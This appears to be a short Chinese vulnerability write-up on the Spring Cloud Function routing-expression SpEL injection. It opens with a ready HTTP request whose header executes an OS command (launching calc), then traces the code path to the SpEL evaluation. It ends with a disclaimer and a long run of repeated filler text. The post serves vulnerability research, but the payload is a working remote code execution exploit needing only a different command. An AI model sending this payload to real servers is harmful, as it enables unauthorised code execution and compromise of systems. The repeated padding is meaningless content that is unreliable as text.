构造payload POST /functionRouter HTTP/1.1 Host:127.0.0.1:8080 spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("cmd /c calc") Content-Type:application/x-www-form-urlencoded Content-Length: 5
xxx
进入FunctionController类中form方法 FunctionWrapper wrapper = wrapper(request); .... return FunctionWebRequestProcessingHelper.processRequest(wrapper, wrapper.getParams(), false);
进入FunctionInvocationWrapper 类中processRequest方法 FunctionInvocationWrapper function = wrapper.getFunction(); getFunction获得SimpleFunctionRegistry ... Object result = function.apply(input);
进入SimpleFunctionRegistry类中apply方法 Object result = this.doApply(input);
在SimpleFunctionRegistry类中doApply方法中 获得RoutingFunction并进入apply方法
在SimpleFunctionRegistry类中执行route方法 FunctionInvocationWrapper function ... function = this.functionFromExpression((String)message.getHeaders().get("spring.cloud.function.routing-expression"), message); 获取spring.cloud.function.routing-expression值带入到functionFromExpressionfunction方法中
在functionFromExpressionfunction中 创建Expression expression.getValue 执行SpEL表达式
注:此文章只用于漏洞研究,切勿用于违法用途。因滥用产生的一切后果与本公众号无关。
凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了